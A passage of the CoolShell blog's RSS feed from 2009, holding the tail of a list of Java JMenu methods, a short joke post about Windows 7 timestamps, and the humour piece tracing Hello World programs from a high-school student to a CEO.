</li>\n<li>javax.swing.JComponent.repaint(long,int,int,int,int)</li>\n<li>javax.swing.JComponent.requestDefaultFocus()</li>\n<li>javax.swing.JComponent.requestFocus()</li>\n<li>javax.swing.JComponent.requestFocus(boolean)</li>\n<li>javax.swing.JComponent.requestFocusInWindow()</li>\n<li>javax.swing.JComponent.resetKeyboardActions()</li>\n<li>javax.swing.JComponent.reshape(int,int,int,int)</li>\n<li>javax.swing.JComponent.revalidate()</li>\n<li>javax.swing.JComponent.scrollRectToVisible(java.awt.Rectangle)</li>\n<li>javax.swing.JComponent.setActionMap(javax.swing.ActionMap)</li>\n<li>javax.swing.JComponent.setAlignmentX(float)</li>\n<li>javax.swing.JComponent.setAlignmentY(float)</li>\n<li>javax.swing.JComponent.setAutoscrolls(boolean)</li>\n<li>javax.swing.JComponent.setBackground(java.awt.Color)</li>\n<li>javax.swing.JComponent.setBorder(javax.swing.border.Border)</li>\n<li>javax.swing.JComponent.setComponentPopupMenu(javax.swing.JPopupMenu)</li>\n<li>javax.swing.JComponent.setDebugGraphicsOptions(int)</li>\n<li>javax.swing.JComponent.setDefaultLocale(java.util.Locale)</li>\n<li>javax.swing.JComponent.setDoubleBuffered(boolean)</li>\n<li>javax.swing.JComponent.setFocusTraversalKeys(int,java.util.Set)</li>\n<li>javax.swing.JComponent.setFont(java.awt.Font)</li>\n<li>javax.swing.JComponent.setForeground(java.awt.Color)</li>\n<li>javax.swing.JComponent.setInheritsPopupMenu(boolean)</li>\n<li>javax.swing.JComponent.setInputMap(int,javax.swing.InputMap)</li>\n<li>javax.swing.JComponent.setInputVerifier(javax.swing.InputVerifier)</li>\n<li>javax.swing.JComponent.setMaximumSize(java.awt.Dimension)</li>\n<li>javax.swing.JComponent.setMinimumSize(java.awt.Dimension)</li>\n<li>javax.swing.JComponent.setNextFocusableComponent(java.awt.Component)</li>\n<li>javax.swing.JComponent.setOpaque(boolean)</li>\n<li>javax.swing.JComponent.setPreferredSize(java.awt.Dimension)</li>\n<li>javax.swing.JComponent.setRequestFocusEnabled(boolean)</li>\n<li>javax.swing.JComponent.setToolTipText(java.lang.String)</li>\n<li>javax.swing.JComponent.setTransferHandler(javax.swing.TransferHandler)</li>\n<li>javax.swing.JComponent.setVerifyInputWhenFocusTarget(boolean)</li>\n<li>javax.swing.JComponent.setVisible(boolean)</li>\n<li>javax.swing.JComponent.unregisterKeyboardAction(javax.swing.KeyStroke)</li>\n<li>javax.swing.JComponent.update(java.awt.Graphics)</li>\n<li>javax.swing.JMenu.add(java.awt.Component)</li>\n<li>javax.swing.JMenu.add(java.awt.Component,int)</li>\n<li>javax.swing.JMenu.add(java.lang.String)</li>\n<li>javax.swing.JMenu.add(javax.swing.Action)</li>\n<li>javax.swing.JMenu.add(javax.swing.JMenuItem)</li>\n<li>javax.swing.JMenu.addMenuListener(javax.swing.event.MenuListener)</li>\n<li>javax.swing.JMenu.addSeparator()</li>\n<li>javax.swing.JMenu.applyComponentOrientation(java.awt.ComponentOrientation)</li>\n<li>javax.swing.JMenu.doClick(int)</li>\n<li>javax.swing.JMenu.getAccessibleContext()</li>\n<li>javax.swing.JMenu.getComponent()</li>\n<li>javax.swing.JMenu.getDelay()</li>\n<li>javax.swing.JMenu.getItem(int)</li>\n<li>javax.swing.JMenu.getItemCount()</li>\n<li>javax.swing.JMenu.getMenuComponent(int)</li>\n<li>javax.swing.JMenu.getMenuComponentCount()</li>\n<li>javax.swing.JMenu.getMenuComponents()</li>\n<li>javax.swing.JMenu.getMenuListeners()</li>\n<li>javax.swing.JMenu.getPopupMenu()</li>\n<li>javax.swing.JMenu.getSubElements()</li>\n<li>javax.swing.JMenu.getUIClassID()</li>\n<li>javax.swing.JMenu.insert(java.lang.String,int)</li>\n<li>javax.swing.JMenu.insert(javax.swing.Action,int)</li>\n<li>javax.swing.JMenu.insert(javax.swing.JMenuItem,int)</li>\n<li>javax.swing.JMenu.insertSeparator(int)</li>\n<li>javax.swing.JMenu.isMenuComponent(java.awt.Component)</li>\n<li>javax.swing.JMenu.isPopupMenuVisible()</li>\n<li>javax.swing.JMenu.isSelected()</li>\n<li>javax.swing.JMenu.isTearOff()</li>\n<li>javax.swing.JMenu.isTopLevelMenu()</li>\n<li>javax.swing.JMenu.menuSelectionChanged(boolean)</li>\n<li>javax.swing.JMenu.remove(int)</li>\n<li>javax.swing.JMenu.remove(java.awt.Component)</li>\n<li>javax.swing.JMenu.remove(javax.swing.JMenuItem)</li>\n<li>javax.swing.JMenu.removeAll()</li>\n<li>javax.swing.JMenu.removeMenuListener(javax.swing.event.MenuListener)</li>\n<li>javax.swing.JMenu.setAccelerator(javax.swing.KeyStroke)</li>\n<li>javax.swing.JMenu.setComponentOrientation(java.awt.ComponentOrientation)</li>\n<li>javax.swing.JMenu.setDelay(int)</li>\n<li>javax.swing.JMenu.setMenuLocation(int,int)</li>\n<li>javax.swing.JMenu.setModel(javax.swing.ButtonModel)</li>\n<li>javax.swing.JMenu.setPopupMenuVisible(boolean)</li>\n<li>javax.swing.JMenu.setSelected(boolean)</li>\n<li>javax.swing.JMenu.updateUI()</li>\n<li>javax.swing.JMenuItem.addMenuDragMouseListener(javax.swing.event.MenuDragMouseListener)</li>\n<li>javax.swing.JMenuItem.addMenuKeyListener(javax.swing.event.MenuKeyListener)</li>\n<li>javax.swing.JMenuItem.getAccelerator()</li>\n<li>javax.swing.JMenuItem.getMenuDragMouseListeners()</li>\n<li>javax.swing.JMenuItem.getMenuKeyListeners()</li>\n<li>javax.swing.JMenuItem.isArmed()</li>\n<li>javax.swing.JMenuItem.processKeyEvent(java.awt.event.KeyEvent,javax.swing.MenuElement[],javax.swing.MenuSelectionManager)</li>\n<li>javax.swing.JMenuItem.processMenuDragMouseEvent(javax.swing.event.MenuDragMouseEvent)</li>\n<li>javax.swing.JMenuItem.processMenuKeyEvent(javax.swing.event.MenuKeyEvent)</li>\n<li>javax.swing.JMenuItem.processMouseEvent(java.awt.event.MouseEvent,javax.swing.MenuElement[],javax.swing.MenuSelectionManager)</li>\n<li>javax.swing.JMenuItem.removeMenuDragMouseListener(javax.swing.event.MenuDragMouseListener)</li>\n<li>javax.swing.JMenuItem.removeMenuKeyListener(javax.swing.event.MenuKeyListener)</li>\n<li>javax.swing.JMenuItem.setArmed(boolean)</li>\n<li>javax.swing.JMenuItem.setEnabled(boolean)</li>\n<li>javax.swing.JMenuItem.setUI(javax.swing.plaf.MenuItemUI)</li>\n</ol>\n<p>最后，如果你知道某个类有更多的方法，请告诉我们。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"API设计：用流畅接口构造内部DSL\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_title\">API设计：用流畅接口构造内部DSL</a></li><li ><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/ediff-small-150x150.png\" alt=\"一些杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_title\">一些杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/182.html\">OMG, Jave的JMenu居然有433个方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/182.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>OMG, Windows 7 来自未来</title>\n\t\t<link>https://coolshell.cn/articles/179.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/179.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 14 Mar 2009 12:34:33 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=179</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天，2009年3月14日，某个工程师准备把自己的Windows 7 build7000升级到build 7057，在安装过程中，我们的工程师选择了备份老的系统...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/179.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/179.html\">OMG, Windows 7 来自未来</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今天，2009年3月14日，某个工程师准备把自己的Windows 7 build7000升级到build 7057，在安装过程中，我们的工程师选择了备份老的系统，于是老的build被备份成到了windows.old目录下，然后当整个系统运行时，这位朋友发现了这一版本的Windows 7好像使用了很多来自外星的技术，很明显他扭曲了时间，下面是他的发现和截屏。</p>\n<p>点击图片可以大图</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/windows_7_created_in_future2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"windows_7_created_in_future2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/windows_7_created_in_future2-300x179.jpg\" alt=\"windows_7_created_in_future2\" width=\"300\" height=\"179\" /></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/179.html\">OMG, Windows 7 来自未来</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/179.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>幽默：程序员的进化</title>\n\t\t<link>https://coolshell.cn/articles/172.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/172.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 14 Mar 2009 09:26:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=172</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>高中时期 10 PRINT \"HELLO WORLD\" 20 END 大学新生 program Hello(input, output) begin write...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/172.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/172.html\">幽默：程序员的进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>高中时期</strong></p>\n<pre name=\"code\" class=\"vb\">\n  10 PRINT \"HELLO WORLD\"\n  20 END\n</pre>\n<p><strong>大学新生</strong></p>\n<pre name=\"code\" class=\"pascal\">\n  program Hello(input, output)\n    begin\n      writeln(\\'Hello World\\')\n    end.\n</pre>\n<p><span id=\"more-172\"></span><br />\n<strong>高年级大学生</strong></p>\n<pre name=\"code\" class=\"c\">\n#include <stdio.h>\n \nint main(void)\n{\n   printf(\"Hello, world!\\\\n\");\n   return 0;\n}\n</pre>\n<p><strong>职业新手</strong></p>\n<pre name=\"code\" class=\"c\">\n  #include <stdio.h>\n  void main(void)\n  {\n    char *message[] = {\"Hello \", \"World\"};\n    int i;\n \n    for(i = 0; i < 2; ++i)\n      printf(\"%s\", message[i]);\n    printf(\"\\\\n\");\n  }\n</pre>\n<p>职业老手</p>\n<pre name=\"code\" class=\"c++\">\n  #include <iostream>\n  #include <string>\n using namespace std;\n\n  class string\n  {\n  private:\n    int size;\n    char *ptr;\n \n  string() : size(0), ptr(new char[1]) { ptr[0] = 0; }\n \n    string(const string &s) : size(s.size)\n    {\n      ptr = new char[size + 1];\n      strcpy(ptr, s.ptr);\n    }\n \n    ~string()\n    {\n      delete [] ptr;\n    }\n \n    friend ostream &operator <<(ostream &#038;, const string &#038;);\n    string &#038;operator=(const char *);\n  };\n \n  ostream &#038;operator<<(ostream &#038;stream, const string &#038;s)\n  {\n    return(stream << s.ptr);\n  }\n \n  string &#038;string::operator=(const char *chrs)\n  {\n    if (this != &#038;chrs)\n    {\n      delete [] ptr;\n     size = strlen(chrs);\n      ptr = new char[size + 1];\n      strcpy(ptr, chrs);\n    }\n    return(*this);\n  }\n \n  int main()\n  {\n    string str;\n \n    str = \"Hello World\";\n    cout << str << endl;\n \n    return(0);\n  }\n</pre>\n<p><strong>大师级</strong></p>\n<pre name=\"code\" class=\"c++\">\n  [\n  uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)\n  ]\n  library LHello\n  {\n      // bring in the master library\n      importlib(\"actimp.tlb\");\n      importlib(\"actexp.tlb\");\n \n      // bring in my interfaces\n      #include \"pshlo.idl\"\n \n      [\n      uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)\n      ]\n      cotype THello\n   {\n   interface IHello;\n   interface IPersistFile;\n   };\n  };\n \n  [\n  exe,\n  uuid(2573F890-CFEE-101A-9A9F-00AA00342820)\n  ]\n  module CHelloLib\n  {\n \n      // some code related header files\n      importheader(<windows.h>);\n      importheader(<ole2.h>);\n      importheader(<except.hxx>);\n      importheader(\"pshlo.h\");\n      importheader(\"shlo.hxx\");\n      importheader(\"mycls.hxx\");\n \n      // needed typelibs\n      importlib(\"actimp.tlb\");\n      importlib(\"actexp.tlb\");\n      importlib(\"thlo.tlb\");\n \n      [\n      uuid(2573F891-CFEE-101A-9A9F-00AA00342820),\n      aggregatable\n      ]\n      coclass CHello\n   {\n   cotype THello;\n   };\n  };\n \n \n  #include \"ipfix.hxx\"\n \n  extern HANDLE hEvent;\n \n  class CHello : public CHelloBase\n  {\n  public:\n      IPFIX(CLSID_CHello);\n \n      CHello(IUnknown *pUnk);\n      ~CHello();\n \n      HRESULT  __stdcall PrintSz(LPWSTR pwszString);\n \n  private:\n      static int cObjRef;\n  };\n \n \n  #include <windows.h>\n  #include <ole2.h>\n  #include <stdio.h>\n  #include <stdlib.h>\n  #include \"thlo.h\"\n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"mycls.hxx\"\n \n  int CHello::cObjRef = 0;\n \n  CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)\n  {\n      cObjRef++;\n      return;\n  }\n \n  HRESULT  __stdcall  CHello::PrintSz(LPWSTR pwszString)\n  {\n      printf(\"%ws\n\", pwszString);\n      return(ResultFromScode(S_OK));\n  }\n \n \n  CHello::~CHello(void)\n  {\n \n  // when the object count goes to zero, stop the server\n  cObjRef--;\n  if( cObjRef == 0 )\n      PulseEvent(hEvent);\n \n  return;\n  }\n \n  #include <windows.h>\n  #include <ole2.h>\n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"mycls.hxx\"\n \n  HANDLE hEvent;\n \n   int _cdecl main(\n  int argc,\n  char * argv[]\n  ) {\n  ULONG ulRef;\n  DWORD dwRegistration;\n  CHelloCF *pCF = new CHelloCF();\n \n  hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\n \n  // Initialize the OLE libraries\n  CoInitializeEx(NULL, COINIT_MULTITHREADED);\n \n  CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,\n      REGCLS_MULTIPLEUSE, &dwRegistration);\n \n  // wait on an event to stop\n  WaitForSingleObject(hEvent, INFINITE);\n \n  // revoke and release the class object\n  CoRevokeClassObject(dwRegistration);\n  ulRef = pCF->Release();\n \n  // Tell OLE we are going away.\n  CoUninitialize();\n \n  return(0); }\n \n  extern CLSID CLSID_CHello;\n  extern UUID LIBID_CHelloLib;\n \n  CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */\n      0x2573F891,\n      0xCFEE,\n      0x101A,\n      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }\n  };\n \n  UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */\n      0x2573F890,\n      0xCFEE,\n      0x101A,\n      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }\n  };\n \n  #include <windows.h>\n  #include <ole2.h>\n  #include <stdlib.h>\n  #include <string.h>\n  #include <stdio.h>\n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"clsid.h\"\n \n  int _cdecl main(\n  int argc,\n  char * argv[]\n  ) {\n  HRESULT  hRslt;\n  IHello        *pHello;\n  ULONG  ulCnt;\n  IMoniker * pmk;\n  WCHAR  wcsT[_MAX_PATH];\n  WCHAR  wcsPath[2 * _MAX_PATH];\n \n  // get object path\n  wcsPath[0] = \\'\\\\0\\';\n  wcsT[0] = \\'\\\\0\\';\n  if( argc > 1) {\n      mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);\n      wcsupr(wcsPath);\n      }\n  else {\n      fprintf(stderr, \"Object path must be specified\\\\n\");\n      return(1);\n      }\n \n  // get print string\n  if(argc > 2)\n      mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);\n  else\n      wcscpy(wcsT, L\"Hello World\");\n \n  printf(\"Linking to object %ws\\\\n\", wcsPath);\n  printf(\"Text String %ws\\\\n\", wcsT);\n \n  // Initialize the OLE libraries\n  hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n \n  if(SUCCEEDED(hRslt)) {\n \n \n      hRslt = CreateFileMoniker(wcsPath, &pmk);\n      if(SUCCEEDED(hRslt))\n   hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);\n \n      if(SUCCEEDED(hRslt)) {\n \n   // print a string out\n   pHello->PrintSz(wcsT);\n \n   Sleep(2000);\n   ulCnt = pHello->Release();\n   }\n      else\n   printf(\"Failure to connect, status: %lx\", hRslt);\n \n      // Tell OLE we are going away.\n      CoUninitialize();\n      }\n \n  return(0);\n  }\n</pre>\n<p><strong>黑客学徒</strong></p>\n<pre name=\"code\" class=\"perl\">\n  #!/usr/local/bin/perl\n  $msg=\"Hello, world.\\\\n\";\n  if ($#ARGV >= 0) {\n    while(defined($arg=shift(@ARGV))) {\n      $outfilename = $arg;\n      open(FILE, \">\" . $outfilename) || die \"Can\\'t write $arg: $!\\\\n\";\n      print (FILE $msg);\n      close(FILE) || die \"Can\\'t close $arg: $!\\\\n\";\n    }\n  } else {\n    print ($msg);\n  }\n  1;\n</pre>\n<p><strong>有经验的黑客</strong></p>\n<pre name=\"code\" class=\"c\">\n  #include <stdio.h>\n  #define S \"Hello, World\\\\n\"\n  main(){exit(printf(S) == strlen(S) ? 0 : 1);}\n</pre>\n<p><strong>老练的黑客</strong></p>\n<pre name=\"code\" >\n  % cc -o a.out ~/src/misc/hw/hw.c\n  % a.out\n</pre>\n<p><strong>超级黑客</strong></p>\n<pre name=\"code\">\n  % echo \"Hello, world.\"\n</pre>\n<p><strong>一线经理</strong></p>\n<pre name=\"code\" class=\"vb\">\n  10 PRINT \"HELLO WORLD\"\n  20 END\n</pre>\n<p><strong>中层经理</strong></p>\n<pre name=\"code\">\n  mail -s \"Hello, world.\" bob@b12\n  Bob, could you please write me a program that prints \"Hello, world.\"?\n  I need it by tomorrow.\n  ^D\n</pre>\n<p><strong>高级经理</strong></p>\n<pre name=\"code\" >\n  % zmail jim\n  I need a \"Hello, world.\" program by this afternoon.\n</pre>\n<p><strong>首席执行官</strong></p>\n<pre name=\"code\">\n  % letter\n  letter: Command not found.\n  % mail\n  To: ^X ^F ^C\n  % help mail\n  help: Command not found.\n  % damn!\n  !: Event unrecognized\n  % logout\n</pre>\n<p>来源：未知</p>\n<p>关于更多的“hello world”请参看：《<a href=\"https://coolshell.cn/articles/169.html\">Hello World 集中营</a>》<br />\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 - CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/172.html\">幽默：程序员的进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/172.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>25</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Hello World 集中营</title>\n\t\t<link>https://coolshell.cn/articles/169.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/169.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 14 Mar 2009 09:06:54 